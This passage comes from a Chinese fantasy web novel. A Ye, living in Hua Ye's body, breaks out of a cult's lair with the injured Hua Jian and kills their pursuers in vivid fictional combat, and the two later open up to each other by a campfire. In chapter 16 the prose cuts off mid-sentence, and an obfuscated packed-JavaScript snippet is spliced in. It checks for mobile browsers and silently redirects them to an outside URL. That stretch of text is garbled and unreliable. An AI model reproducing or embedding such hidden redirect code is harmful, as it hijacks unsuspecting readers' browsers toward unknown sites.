华谏后知后觉,眨了眨眼,一切慢慢显现。石厅昏暗,唯有近处的她清晰可见,目光关切,眼中布满血丝,眼下更是一片青黑,是从未见过的疲惫。 干净温暖的衣物、畅通的要穴,尽管丹田依旧被封得严严实实,但有微弱的元力流转——显然这些都是华烨的功劳。华谏抿唇,尽管他并非为此挺身而出,但现下这般情景……总归是好的。 “感觉怎么样?”她的声音听起来有些干。 “我……”华谏试图撑起身体,但手指一使劲,痛得他倒吸一口冷气,身体一歪,被阿也及时拥住。 浓厚的血气飘进鼻腔,华谏这才注意到她整条衣袖几乎布满暗红,极其可怖,不由道:“你……” “一些小伤。”阿也扶他坐正,往背后塞上团成球的杂乱衣物,隔开石壁,以免压到伤口。 距离……太近了。 嗅到血气里一股说不清道不明的味道,华谏想,难道是汗?思及此,整个人一下臊得发慌,想说些关心的话但又说不出口,索性闭嘴,扭过头去,耳垂却蹭过她的手,脸一下红透了。 阿也对此一无所知。她从旁边取出泥罐和馍,“先喝水还是……奇怪,怎么脸又红了?”手背贴上他的额头,一触即离。温度正常,没有发烧,她疑惑不解,干脆发问,“有哪里不舒服么?” “有,有点热。”华谏口干舌燥,垂下眼不敢看她,“想……想喝水。” 阿也捧起泥罐喂他喝了几口,忽然听见他腹中传出“咕噜咕噜”的声音。 华谏一下磕上泥罐边沿,这下不仅唇齿发麻,连耳根也红透了。 “喝了水才好吃东西。”阿也看出他窘迫,宽慰他一句,将馍撕成小块,蘸了水喂给他。 华谏却不吃送到嘴边的馍,只是看着阿也,一言不发,哪怕肚子一直叫个不停。 “条件简陋,先将就些。”阿也劝道,“等出去了,山珍海味任你挑选。” 华谏仍是不动,执拗地盯着阿也。 这小子又闹什么脾气?等等……阿也试着开口:“我吃过了。” 于是华谏才肯张嘴,就着阿也的手咬了一口。虽说蘸过水,馍依旧干硬,咀嚼几下已耗尽全部的气力,华谏囫囵吞枣地咽下去,体验到刀子刮喉咙的感觉。 吃完一块,华谏偏过头,不想再吃。 “再吃一点。”阿也凑近他耳旁,轻声道,“一个时辰后,这里会有一场混乱。到时候我带你出去。现在你多吃一点,补充体力。” 其实这不是华烨一贯的语气,而是平淡的、甚至带点命令的意思,要是放在以前,华谏肯定要不服气地吵上一架。 但此刻他无心找茬。 逃出去?华谏费力地低头,看着自己扭曲的五指,呼吸时胸口被绷带勒紧,透不过气……他这个样子,华烨要怎么带他出去? 清香钻进鼻腔,华谏一怔,看着抵在唇上的花糕,又看向阿也,她一脸“给你吃真是浪费”的表情:“吃吧,这可是云欢给我买的。” 明明是我出的钱!华谏以眼神控诉,微微后仰,努力躲开阿也伸出的手,太……太近了! “你不吃啊?你不吃那我吃了?”阿也逗他,“真不吃啊?那我可就真吃了。”见他一句话也不肯说,她径直将花糕丢进嘴里,腮帮子鼓动,几下嚼完,顿了顿,喉头一滚,尽数咽下。 “有点怪味。”阿也点头,“还能吃。” 华谏的瞳仁陡然放大了,不知是气的还是什么,整张脸红得快要滴血,“你……你……” 这下精气神倒是回来了。阿也拍去手上碎屑,摆出花糕和馍,驾轻就熟地哄他,“看在我悉心照料的份上,兄长多少吃一点吧?是想吃花糕还是馍?或者两个都吃?” “别叫我兄长!”华谏气得别过脸去。 明明是你先主动说给古红听的。阿也心想,嘴上乖乖劝道,“师兄,现在不是置气的时候。” 的确如此,丹田被封,无法吸收元气,食物是补充体力的唯一来源,华谏想清楚,别扭地转回脸,视线在两样吃食上都停留半晌,然后对着馍扬了扬下巴。 口是心非。阿也心想,递了馍。 强迫自己吃完所有的馍,华谏猛喝几口水,缓解喉咙的疼痛,接着唇上忽地一软,眼睛瞪大了,“你……” 用花糕压住华谏唇角,杜绝他发难的机会,阿也学云欢的 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还有半个时辰。阿也抬起眼,注视那副四方锥塔的壁画。 草叶花果、百兽争霸、男女交|媾…… 原来如此,她光记着极境之中的元脉,却忘了还有那条蛟龙——堪称五州最强的混元兽。 要走衍化之路,怎么能少了兽王? 难怪他们会盯上卓清歌—— 恐怕兽王之力绝非寻常女体能承载,他们才舍得花费如此心血,强行提升卓清歌的实力,等着让她炼化重伤的蛟龙。 因此,卓清歌能以此要挟古红,否则这些少女早已香消玉殒,又为阻碍衍化,自封五感。 所以,古红才想找她作为卓清歌的替代品。 但驭菱隐瞒了这些。 “小姐自封五感前,曾教我一招,叮嘱我若有人前来相救,让我唤醒她,以助一臂之力,为大家争取逃脱的时机。” “但唤醒小姐需要时间,若我一人行动,极易被发现,所以请姑娘出手,替我拖延时间。” “明日我们会设法引来看守。因他们轻贱我们,所以来的黑衣人不会很多,大约一两个,请姑娘出手弄晕他们,然后再乔装打扮逃出去,制造混乱,转移他们的注意。等到小姐醒来,就是一切的转机。” 计划是好的,就是漏洞太明显。阿也心道,难道是因为华烨看起来很好骗? 明明说求她带卓清歌走,计划里却是分头行动,大概想是让她独自引开看守,好方便卓清歌带她们逃走。 其实她无所谓被拿来当跳板,但偏偏要舍弃为自己负伤的华谏,阿也做不到这点,但带上行动不便的他,救人的计划就得搁浅。 还是得想个万全之策。 目测完石厅各处的尺寸和步道的长短,阿也考虑各种情境,在心中推演数遍,以防万一,还是得找个人配合,最好来自与驭菱泾渭分明的阵营。 走进石台最深处的角落,阿也勾唇一笑。 驭菱有自己的私心,她自然也有她自己的安排。 “琅矜。” 16. 镇压 寅时前一刻。 阿也用腰带蒙住华谏双眼,叮嘱道,“待会不管发生什么,都不要摘下来。” 华谏点头,并不过问,“万事小心。” 难得这么乖。阿也心想,“把手给我。” 华谏迟疑一下,还是伸出手,被她握住。惊人的热力烫得他指尖一缩。意识到自己掌心出汗,他尴尬地不再多言,随她走到一处狭小空间,待人松开手,立刻用衣袖蹭干净。 “呆在这里不要动。”阿也引他躲在石梯背后藏好,看向石台。 驭菱正同伙伴们做最后的交代,“待会我唤醒小姐时会有异动,你们负责制造声音掩盖,声音越大越好,把看守引过来也不要怕,姑娘很厉害的,会帮我们制服他。” 她偷瞥一眼阿也,没想到正撞上视线,局促一笑,压低声音,“还有,别带公子。” 对不起。驭菱在心中道歉,她们能力有限,好不容易才有了一个逃跑的机会,绝不能被任何人拖累。 “你……真要跟她合作?”琅矜忍不住抚上喉咙,回想昨夜之事,仍是心有余悸。她压低声音,说的又快又急,“你要想好了!那姑娘就不是个好相与的!” “只能赌一把了。”驭菱攥紧五指,低声道,“大不了到时候敲晕她,让小姐带她一起走。” 三、二、一。 阿也与驭菱对视一眼,互相点了点头。她走上石台,两手抓住扣在驭菱脚上的一节铁链两端,右手勾住锁链,在腕上绕过两圈。 一个平静的呼吸,她手背上青筋暴起,生生将锁链拽断。 石台上顿时鸦雀无声。 她居然能徒手……驭菱内心掠过一丝不安,但来不及多想,剩下三条锁链接连断开,她按照计划跑向石池。 阿也比了比长度,收起断裂的一节铁链,转身,轻盈地跳上石梯,藏在石门后,屏息以待。 “清心如水,清水即心。”驭菱快速念出一串咒语,一掌拍在卓清歌额头。 一枚花印在额头亮起。少女缓缓睁开眼睛,头顶的轻纱无风自动,黑气逸出来,在她瞳孔中汇聚,仿佛画龙点睛,忽然有了神采。 “小姐!”驭菱喜道。 卓清歌微阖双眼,浑身爆发出一阵强烈的白光,激得红水翻滚,水声哐当。 驭菱连忙对石台打了个手势,众人跟着大声交谈起来,高高低低,有哭有笑。足有半柱香时间,人声被沙哑的咳嗽掩盖,石门外才响起不情愿的脚步声,似乎是被迫来管这份差事。 “咔——”石门打开一条缝隙,慢慢转开一角。 “吵什么……呃!” 铁链套住黑衣人的喉咙,阿也寸寸收紧了,面无表情地看着他脸色发紫,眼球暴凸。 太好了!一切顺利!驭菱大喜过望,以至于见到黑衣人翻起白眼、吐出舌头时才意识到不对劲。 阿也抬起眼,迎上驭菱疑惑的目光,勾唇一笑,随后手腕一错。 “咔。” 干净利落的一声响,黑衣人头一歪,软绵绵地栽倒下去,被她径直一推,卡在缝隙之中,眼还未来得及闭上。 被那双暴突的眼瞪着,驭菱一个哆嗦,战战兢兢地对上她的笑容,脑子里嗡嗡作响,她就是故意的! 阿也翻过石梯,直接跳了下来,一个旋身,轻巧落地。 “你……”驭菱意识到不对,转身欲跑,颈后骤然一痛,眼前一花,跌入黑暗之中。 阿也托住驭菱,让她平缓落地,随后快步走近卓清歌,念出咒语,“清心如水,清水即心。”反手一掌拍在她额头,花印瞬间黯淡,红水复归平静。 这一切行云流水,像是预谋已久。等众人反应过来,喊也喊不出声了。 即便能喊的,对上她手中把玩的锁链,也战战兢兢缩起脖子,生怕落得同黑衣人一样的下场,唯有琅矜怒瞪阿也,嘴唇开合,无声地骂她。 还算有点胆子。阿也挑眉,对琅矜比了个口型,走到华谏身旁。 熟悉的脚步声靠近,但周遭静悄悄的,仿佛刚才的喧嚣都是错觉,华谏不由侧首:“怎么了?” 阿也拍了拍他的肩头,没有说话。 于是华谏以为这也是计划的一环,被她扶着,一瘸一拐上了石梯。 提醒他跨过尸体,钻出石门。最后看一眼壁画,阿也心一动,瞄准方向,掷出锁链。 嘭的一声,香案被锁链砸翻,成片的红烛齐齐断裂,烛泪淌了一地。 霎那间,火光吞没香案,烧得噼啪作响。壁画被烟熏得焦黑,在腾腾上升的热气中扭曲图案,仿佛一副狰狞的面孔。 这据点恐怕用不了了,赶快迁回老巢吧。阿也轻笑一声,替华谏领路。 迈出洞口时,最深处终于传来怒气冲冲的脚步声,阿也快速翻出神石收进戒中,望了眼天色,皱眉。 白雾沉沉漂浮在碎石滩上,反射出柔和的光晕,同她来时一模一样,可现在该是寅时过半——伸手不见五指的时刻。 忽有风起,卷起雾气扑身,一阵清凉。 “这是哪里?”华谏愕然道,甚至有些手足无措,“华烨?华烨!” “我在。”脚步声迫近,阿也不再解释,径直扛起华谏半个臂膀,提气,快步向远处走去。 走了没多久,华谏突然出声,“好像有东西跟着我们。” “是林魅。”阿也漫不经心地扫过林间的重重黑影。 林魅,寄生在草木之上的怨灵,以生者精气为食。来时她就注意到了,但它们忌惮古红一行人,不敢出面,现下发现华谏有伤在身,自己元力低微,倒是胆子大了起来,敢尾随在身后,预备趁火打劫。 “放……放我下来。”华谏低声道,试图收回搭在她肩上的手。 阿也反手按住他的手,将人往肩上送了送,一口回绝,“不放。” 没想到她如此态度,华谏一哽,说不出是开心还是难过,“你……”他身体蓦地一僵,促声道:“他们要追上来了!” “快跑呀!”草木在他耳边尖叫,后方脚步声紧追不舍,仿佛近在咫尺。 半尺之遥,她剧烈的心跳透过衣料,传进耳里,如惊雷阵阵,砸得他心脏紧缩,而她急促的喘息扫过指尖,火一样的炙热。华谏沉声道,“放我下来!” 真难伺候!阿也稍稍放慢脚步,从齿缝里挤出话问他,“痛?” 被这一声刺到,华谏猛地挣扎起来,“放我下来!” 因体量差异,加上华谏动作突然,阿也失去平衡,两人接连摔倒,撞到旁侧树干上,落叶纷飞。 阿也翻身站起,立刻去扶华谏,却被他躲开。隔着蒙眼的腰带,她使劲瞪他,克制住语气,“怎么了?” “你快走,别管我。”华谏低下头,避开她的视线,努力平复自己的呼吸,“你带着我走不快的,你一个人走,还有机会。” 阿也放轻语气,“那你呢?” “我留在这里,替你拖延时间。”华谏咬紧牙关,哑声喊道,“你快走!” “你这身体怎么……” “我这身体跑进去又能怎么样?不过是个负担!”华谏低吼一声,又颓然叹息,“别管我……别管我了!” “好。” 明知是自己提出来的要求,但听到她果断的回答,华谏还是眼眶一热。过往两人不对付的画面在眼前快速闪过,如临死前的走马灯。他的声音止不住地发抖,“你快……” “兄长。” 这一声来得如此突然,如此真情实意。 她从未这样叫过自己。华谏猛地抬头,“你……”刚吐出一个字,颈后一痛,失去意识。 兄妹情深的戏码到此为止。 这一记用了七成的力,一时半会儿怕是醒不过来了。阿也收回手,冷眼扫过四周徘徊的林魅,气息跳出外壳,如高山升起,俯瞰这片丛林。 鬼影止住身形,摇摆片刻,赶在那山倾倒之前分离逃窜开来,躲进角落,犹如丧家之犬。 活动完手腕关节,阿也盯着昏迷的华谏,叹了口气。真是的,不说还好,你一说还怎么把你丢下来? “轰——” 沉闷的雷声敲响序幕,狂风呼啸,卷动天地之间海量的元气,向东方汇去。 果然,他们开始动作了。阿也眯起眼。 希望琅矜乖乖听话。阿也低头看了眼华谏,眼角犹有泪花,顺手擦了一把,摘去他发间落叶,心道,早知道有这一出,还不如一开始就把人敲晕了,白白担心他身上的伤。 阿也抄起他的双手,扣在自己肩头,再转身,弯腰背起华谏,向东边深一脚浅一脚地走去。 一刻钟后,有人跟上来。二、四、六……阿也分辨出十二人的脚步声,呈环形散开,间隔有序地将自己包围,等待出手的时机。 上钩了。 找了块空地,阿也轻手轻脚地放下华谏,让他背靠树坐好,咬破手指涂在扇钉上,敲了敲扇骨,“保护你的主人。” 绿丝得了甜头,乖乖伸出来,护住华谏要害。 “真乖。”阿也满意地点头,又赏给它一点血,然后慢慢伸了个懒腰。 骨骼发出一连串的咔嚓声,肌肉节节隆起,又在规律的吐息中平复。血快速流过每一处关窍,澎湃热力淬过肉与骨,锻造成刚韧的金石。 华烨虽然丹田有缺,修炼元力讨不了好,但走体术之道倒是立竿见影。 黑衣人从林中显出身影,个个手持兵器。她缓缓吐出一口气,勾唇一笑。 “嗬——” 华谏是在惨叫声中醒来的。 浓郁的血味令他不敢轻举妄动,反而刺激他头脑飞转,判断现下情况。 后背抵着坚硬又粗糙的曲面,大概是树干,腿压着凹凸不平的颗粒,大概是石子,加上闻到潮湿的水汽,听到急躁的风声,说明他还在丛林之中,并且将有大雨。 “啊——”又一声惨叫,在树林里反射回荡,简直不像人声。 “快上啊——她只有一个人!” “快跑啊!” 声音此起彼伏。华谏的心顿时沉入谷底,怎么回事?一个人?……华烨?是华烨吗! 他心焦不已,又担心出声引来注意,于是咬破舌尖,咽下精血,全力运功调出一丝元力,小心翼翼地往周围探去。 元力粗略描摹出地上的人形,七零八落,毫无生气。 强忍不适,华谏仔细探查那些尸体。有的手臂后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239277|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折成诡异的弧度,像是被硬生生掰断,有的五指残缺三个,散落在附近各处,令人悚然,这地方仿佛化身残酷的刑场,或是投喂凶兽的禁地,景况十分惨烈。 搜寻大半,在脑海里勾勒的细节越多,华谏心跳得越快,快要跃出胸膛,任人踩个稀巴烂。 华烨呢?华烨!他嘴唇开合数下,不敢出声,只能宽慰自己,说不定她逃出去了,是黑衣人与林魅打了起来,但下一瞬间,元力被阻,有破空声急剧放大,是冲自己而来! 被发现了!鸡皮疙瘩爬满一身,华谏下意识要避开,腿碾过地面的枯枝,咔嚓作响。 “别动!”一声暴喝。 是她!这一声将华谏拽出惊慌。他强压躲避的冲动,僵直身体呆在原地。 铿锵声擦过耳膜,似是兵器相接,随后利器割开衣帛,“刺啦——” 劲风擦脸而过,划破蒙眼的腰带。华谏奋力睁眼,不顾光亮刺目,急于确认她的安全,“华——!” 尾音戛然而止。 束状闪电划破云层,森林在狂风中颤抖,轰隆一声巨响,时间定格在这一瞬。 血喷射而出,淹没了冰冷的剑光。 眼前霎时被猩红填满。浓烈的腥气里,华谏几乎无法呼吸,有东西顺着脸颊蜿蜒淌下,像是温热的眼泪。 失去视野,听觉变得灵敏起来。濒死的哀叫、沉重的落地声,与此同时,一声低笑,甚是讥诮。 一瞬间,腥气同热气席卷而来,让华谏觉得眼前似乎蒙上一层朦胧的雾—— 是梦吗? 否则眼前这人怎会如此陌生? 容不得细究,那人抽身即走,突破三人的包围圈,紧贴地面滑过,避开左侧偷袭的同时单手撑地,向右抽出鞭腿,将黑衣人逼得倒退数步,再俯冲上前,抬手割开那人咽喉。 黑衣人登时倒地,喉头喷出半人高的血柱,将半边草地染成红土,血珠顺着叶尖滴落,仿佛凝聚的秋露。 一击得手,她立即脱离,翻身上树,在枝头间灵活跳跃,借助地形避开围攻,轻盈得像一片雪花,偏偏每次落地,都引起一阵地动山摇,震撼人心。 “快跑!快跑啊!”伤亡大半,黑衣人阵型大乱,四处奔逃,“快快快!” 她蹬地上前,仿佛猛兽出闸,长发被疾风逼成一线。机括接连响动,银光在十指间跳跃,犹如在花丛中翩跹起舞的蝴蝶。 身法进退有度,招招凌厉致命。 一定是梦吧。 仿佛度过许多在刀尖舔血的日子,所以无需借助外力,全凭野兽般的直觉,狩猎如同喝水那样简单,似乎已刻进骨髓,变成本能。 但分明三年前她还躺在榻上起坐困难,怎么一晃神,就变得如此游刃有余,犹如杀神降世? 余光扫过呆愣的华谏,阿也皱眉,居然被他看到……算了,速战速决。 脚尖轻点地面,她高高跃起,长发在空中飞扬,如同风中招展的旌旗,背后有闪电划破云层,呐喊助威似的,送上闪耀的金色电光。 她同时抛出外衣和里衣。衣衫在风中大展,犹如展翅的鸟群,降下铺天盖地的阴影。 “唰——” 五光十色的元力冲天而起,将衣衫切成碎片,纷纷扬扬,仿佛一场鹅毛大雪,遮掩其中血光。 待雪飘然落地,她失去踪迹。 林中恢复死寂,剩下的两个黑衣人迅速靠拢,惊慌地扫视四周。待目光经过华谏时,微妙地变化一瞬,露出杀意,但有先例在前,又变为滔天的怨恨。 轻微一声响,像是利器出鞘。 “在那……啊!” 喷放的血花里,她长发飞扬,一身漆黑的连体贴身甲胄,钩织的每一根细线都闪着森然寒光,仿佛剧毒的蛛丝,而连结处银光闪闪,藏着数不清的凛然杀机。 她化拳为掌,压低重心,躲开对面的拼死一击,将尖锋夹在指间,以刁钻的角度弯曲,再弹开,转身,借势翻腕—— 于是华谏得以看清那柄双刃袖剑,剑身薄如蝉翼,笔直的凹槽里血痕狰狞,不同于演武场上轻飘飘的木剑或没开刃的铁剑,这是真正的、为杀人夺命而设计的凶器。 护住命关的兵器被打落,最后一个黑衣人乱了手脚,顾不得捡,慌不择路,竟向华谏的方向跑去。 剑光飞舞,仿佛锐利的镰刀,精准地收割这一茬麦草。 猎物轰然倒地,睁着凝结恐惧的双眼,浑身上下没有一处完好的地方,血汇聚成河,四处流淌,被她踩在脚下。 “轰——” 惊雷滚滚,大雨终于落下,尽情洗刷丛林的脏污,流进洼地,猩红的一潭。 那人停下脚步,顺手接下一捧雨,泼去剑身的血迹。 这大抵是她的爱物。 因为她如此认真,连凹槽里的肉沫都洗干净,才细致收好,披上新的外袍,于是利剑归鞘,敛尽凶光。 随后她仰起头,纵容大雨肆意冲刷脸庞,再一把抹去水迹,转向华谏,露出一个熟悉的、乖巧的笑来,只是眼角眉梢,难掩愉悦。 自始至终,华谏都无法移开视线,眼睁睁看她无情杀戮,看她独自谢幕—— 仿佛这世界的中心,主宰整片天地。 17. 剖白 “砰。” 湿柴上的水汽爆裂,火焰登时窜高,卷起一捧灰烬,洒在洞穴中,犹如飘渺细雪。 阿也摆弄着火上的野兔,翻来覆去,时不时偷偷瞥一眼华谏。他仍旧盯着火堆发呆,一动不动。 还是一句话也不肯说。阿也叹了口气,难不成是介意那些丹药是从尸体上摸来的?但现下这境遇,有药吃就不错了。 好吧,她自知出手狠辣,与华烨本性大相径庭,所以一直蛰伏,不轻易出手,但并非没考虑过暴露后华谏的反应,惊恐或愤怒,唯独没想过他会保持沉默,倒叫人无从下手了。 算了,先填饱肚子。阿也找来野果,挤出汁水,涂在野兔外皮上。 “滋滋——” 皮肉被烤成诱人的焦褐色,油脂一颗颗渗出来,亮晶晶的,肉香里混着清甜的果香,勾人食指大动。 “咕噜咕噜——”华谏别开脸,肚子却不争气地叫了起来,一声更比一声响。 阿也憋住笑,拆下一只肥硕的兔腿,看了眼他的手掌,似乎还不方便,又撕成碎肉,拿蒲叶盛好,再摆上两根细长的竹枝,放到他身前,讨饶道:“兄长,吃一些吧。” “不要叫我兄长。”华谏勉强拨开她的手。 “师兄,吃东西了才能好得快一些。”阿也软声劝道,“往生教定然不会就此作罢,我们还有很长一段路要走。” 听到往生教三字,华谏睫羽一颤,勉强握住竹枝,但夹了几次都不成功,气得干脆以捅人的架势叉起碎肉,再送进口中,腮帮子僵硬地鼓动,好似在嚼蜡。 看样子还在生气,不过肯吃她给的东西,就算是揭过了。阿也放下心,撕下另一只后腿,齿关一合,却尝到一言难尽的酸苦。 瞧一眼被挤皱巴的野果,青皮带红刺,确定没采错,就是常用来调味的酸果,她又咬了一口兔腿,味道更加诡异,辣中带涩。 难道这果子还没熟?她勉强咽下,转向华谏,试探道:“味道如何?” 华谏应声抬头,唇上染了层油,也是亮晶晶的,手中蒲叶里的碎肉不剩多少。他嘴唇微动,“尚可。” 那就是好吃的意思了。阿也心道,正纠结是火候的问题还是兔子的错,电光石火间,想起此前逗华谏吃花糕时,同样尝到一股怪味,但那时只当是放久了,并未上心。 等等……难道是她的味觉出了问题?阿夜蹙眉,见华谏吃得正香,又放下心来。 罢了,先填饱肚子,毕竟之后动手还得靠体力。阿也面不改色地吃完后腿,又撕下一只前腿,埋头吃了起来。 就在阿也专心进食时,华谏借眼角余光悄悄打量她。 在先前的接触里,华谏并不喜欢她,觉得这人假惺惺的,笑不是真心的,说话也是,表面上轻声细语,指不定在心里破口大骂,但当她真的露出尖牙,他却无所适从。 仔细想来,石壁上那个“快逃”的印记,并非他以为的有人遇险,而是她在警告旁人不要插手。 难怪遇上鸠盘荼时她要踢开自己,原来是嫌自己碍事,但分明有如此实力,却为何躲在小楼里,对那些谣传视而不见,闻而不斥? 都是托她的福,不仅落下这身伤,还跟个废物一样坐在这里任人施舍。华谏越想越气。 但与此同时,脑子里有诸多画面一闪而过。她疲惫的面容、温热的手心,还有丛林中夹杂风声的心跳、急促的喘息,以及那一声真心实意的“兄长”。 ……或许那并非出自真心,不过是某种幻觉,就像他以为是绝境求生,却忽略了至始至终,她都没有说过“逃”这个字。 是他自作多情,落得如此下场。 咽下最后一口肉,华谏放好竹枝,打理好自己,再露出腕上那对黑色的金属环,低声道:“解开封印。” “解不开。”被他甩了一记眼刀,阿也诚恳地解释道,“我尚未筑基。” “那就去找凌栾,我方才感知到她们……”华谏自嘲道,“是我多嘴。想必你早有预料。” 他这副做派令阿也浑身不自在,她放下啃到一半的前腿,正色道,“兄长切莫妄自菲薄。” 华谏笑了一声,往后倒去,被冰冷坚硬的石壁接住,仿佛唯一的依靠,但背后的伤尚未痊愈,隐隐作痛。 “别叫我兄长。”他闭上眼,平静道,“我不是你兄长。” 真难伺候,要不是他有伤在身……她紧了紧拳头,无奈低头:“是,师兄。” 华谏终于安分了,闭眼假寐。 火苗努力舔舐枝叶,激出松油的香气。毕剥响声里,灰烬悠悠上浮,火光明明灭灭,打在华谏侧脸。 与其安顿这位祖宗,不如去找凌栾她们。阿也果断做出决定,挑了几根干柴,正要开口,却听他又道:“我不是你兄长。” 这句话他说过很多遍,却是第一次以这种近乎悲哀的语气,仿佛顾影自怜。 “我是华重楼捡回来的孤儿。” 手一哆嗦,差点把柴堆掀翻。阿也手忙脚乱地挽救回来,心想,自己的听觉大概也出问题了。 “在你搬回小楼的那天,阿父告诉我,我是他捡回来的孤儿。” 原来如此。阿也兀地想起三年前的那一天来。 听闻芳芪要远征,阿也为了能赶上设在傍晚的践行宴,特意起了个大早,收拾行李搬回小楼。 东西不多,但零零散散。见大家为践行宴忙得热火朝天,阿也默默整理着,谁知华谏路过见到了,主动上前攀谈,“你一个人做这些?” 见她点头,他皱起眉,“等我给余长老送完药草,就过来帮你。” 但一直到日落西山,阿也踏着余晖去赴宴,他也没有来。 仔细想想,也是从那天起,华谏对她的态度大变。其实从一开始,她与华谏也曾相谈甚欢,并不是后来的针锋相对,水深火热。 阿也放下干柴,安静听着。 “二十年前,阿父外出历练,偶遇我娘。她被 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她一点也不了解华谏,换句话说,她不了解任何人,也不想去了解。 左右这副身体都是要还给华烨的,与他人建立联系实在是件吃力不讨好的事情。从前怕惹人怀疑,她才以华烨的身份参加各种活动,在众人面前露脸,维持那一点浅薄的关系,不至于路上碰见相顾无言。 “我恨你。”华谏一字一顿地说。 阿也心头一动,游离在外的魂魄骤然归位,重新尝到人世间的酸甜苦辣。 不论之后如何发展,但在这场滂沱大雨里,在这温暖的火堆旁……至少是这个瞬间,并不是只有她是一个人。 “你已经做得很好了。”阿也撕下另一只前腿,细细拆解好,放进他空空如也的蒲叶里,“再吃一些吧,兄长。” 睫羽剧烈颤抖起来,隐有泪光。华谏别开脸,“你轻而易举地就得到了阿父所有的目光。我已经很努力了,但还是分不走一点。” 的确很努力。阿也心道。 每次她趁晚修无人时去藏经阁查体术,都会发现邻桌又换了一堆新的玉简,正大光明地摆在刻有“华谏”二字的木牌旁,不像她只能偷偷摸摸带回小楼练。 有时树林空间有限,不便练大开大合的身法,她半夜去演武台,还能撞见华谏在复盘招式,挥汗如雨,嘴里还念念有词,惦记着白天输给席子瑞的事。 未得到回应,华谏神色忽而不安,“我……我不恨你。”片刻后,又抿唇,“我……只是想让阿父多看我一眼。” 果然是愣头青,这么大的把柄,怎么能随随便便告诉其他人?阿也叹了口气,心有愧疚,于是仿佛一种隐秘的交换,自然而然地说出了口,“我叫阿也。” 一股暗泉,终于汩汩流到地面上来。 半晌,几乎让人以为面前的人是一尊雕像的时刻,华谏忽然开口。 “别让阿父知道。”他低声说,“我不想他难过。” 18. 青蚺 有些话说破了,就不必再装。 取下绑在腿侧的两把袖剑,掏出一瓶颜色最为浓郁的药剂,缓缓倒在剑身上,紫黑色的液体流入凹槽,闪出阴冷的光。 袖剑被反复倾斜,确保见血封喉的毒能渗入每个边角。 等待晾干的间隙,她抬起头,百无聊赖地打量华谏,像闲时去山林逛逛,赏一赏池塘边的野花。 平心而论,华谏的确生得好看,不是那种摆在柜台之中任人挑选的好看,而是该被珍藏起来只许人远观的精美。即便落魄了,也与这周围格格不入,让人疑心是精怪化形或世外来客。 此时此刻,华谏微蜷四肢,双目紧闭,脸色因失血过多而苍白,一缕鬓发凌乱地搭在眉尾,随起呼吸微微发颤……阿也忽然觉得喉头一痒。 强迫自己移开目光,听得洞外雨声渐歇,她收拾完残局,添了新柴,让火更旺些,又给折扇喂过血,确保华谏无虞,最后取下烘干的外袍,顺手盖在他身上,才出门去寻人。 “毕剥。” 清脆的一声响,吓得华谏慌乱闭眼,再睁开时,黑影拐过路口,消失不见。 他垂下眼,心砰砰跳了起来,不自主地攥紧衣角,留住余温。 雨停了。日破云层,柔光普照,却没什么温度。空中水汽蒙蒙,风一吹,附在甲胄上,还有点冷。 披上最后一件外袍,阿也收紧领口,心道,刚刚那件就该留着自己穿。她避开泥泞,攀上岩石,五指牵出元力,引向四周。 追踪术,作为她仅会的几门术法之一。因元力有限,施展范围极小,不得不屡次更换地方。 元丝下潜,如蛇贴地蜿蜒前行,带回方圆一里内的讯息。 应该就在这附近。阿也蹲在枝头往外探,阴冷的风穿过林间,树叶沙沙作响。 不对,她忽而皱眉,太安静了。 庞大的黑影从眼前一闪而过,寒光刺目,不是刀剑般清亮的光,而是鳞片反射出的森森冷光。 什么东西?阿也屏息,躲进树冠,轻轻拨开另一角。 是蛇,数不清的蛇。大小或粗如水桶,或细如针线,颜色或青如竹叶,或白如净雪,盘踞在嶙峋山岩间,蠢蠢欲动。 视线越过密密匝匝的蛇影,落在包围圈的中心—— 云欢正弓腰扶膝,大口喘息,脸上沾满泥,身上也挂了彩,赤练耷拉在腰间,萎靡不振。 凌栾呢?阿也扫视四周,没见到熟悉的红影,尝试向云欢传音,但识海内的链接仍是断开的。 “嘶——”一条身围十尺以上的青蚺游进蛇群,仿佛鹤立鸡群。 它头顶红冠,竖瞳金灿,半透明的黏液顺着分叉的蛇信拉出细长的丝,落地时腐蚀出一片坑坑洼洼,行动时鳞片开合,压过木石,发出令人牙酸的吱呀声。 “你到底想干什么!”云欢挥动胳膊,有气无力道:“你都追了我三天两夜了,要给就给个痛快!” “肉,肉身……”青蚺磕磕绊绊道,竟如幼儿学语般口吐人言。 成年期的混元蚺?阿也眼神一凛,袖剑脱扣,滑入手中。 “想要我的肉身?做梦!”云欢后退一步,抓住赤练一端,灌入元力,爆发出强烈的红光,逼得蛇群后退三分,而青蚺丝毫不惧威势,反倒摆尾逼近。 在它亮出獠牙的刹那,云欢蹬地旋身,挥动赤练,像挥动一把火红长鞭,朝青蚺七寸狠狠抽去,破空声尖啸。 好快!阿也眯起眼。 这一招威势迫人,青蚺瞳孔一缩,忙变换重心,蛇身反弓,避开要害。 赤练堪堪擦过七寸,余力抽飞几片蛇鳞,溅出碧绿的血。 被血味刺激,蛇群躁动不安,嘶嘶吐信,又围上来,绕着云欢游弋,时而聚集成圆,时而散开如花,像是举行某种奇怪的仪式。 天地间的元气在此处汇聚,一波波经由蛇群聚集,传导至中央——青蚺直起上身,坦然接受献祭,尾端有节奏地拍打地面,瞳仁亮起金光,头顶的肉冠开始充血膨胀。 “呸!谁怕谁!” 云欢狠狠啐了一口,清过嗓子,开始高声吟唱,绿色光环缓缓扩散,彩衣爆发出绚丽光芒,实力逐步攀升,元力激荡,将地面堆积的落叶一扫而空。 看出她正在施展某种秘术,阿也按下剑尖,不敢贸然打断。 “砰——” 绿色光环撑到极限,猝然爆裂,洒下细碎光点,尽数卷入风中,被一道璀璨的长虹吸纳。 以长虹为桥,云欢行至弧线的最高点,抬手牵动跟随而来的赤练。吟唱声中,她追随赤练的节奏起舞,画出阴阳双鱼的图案,犹如神女降世。 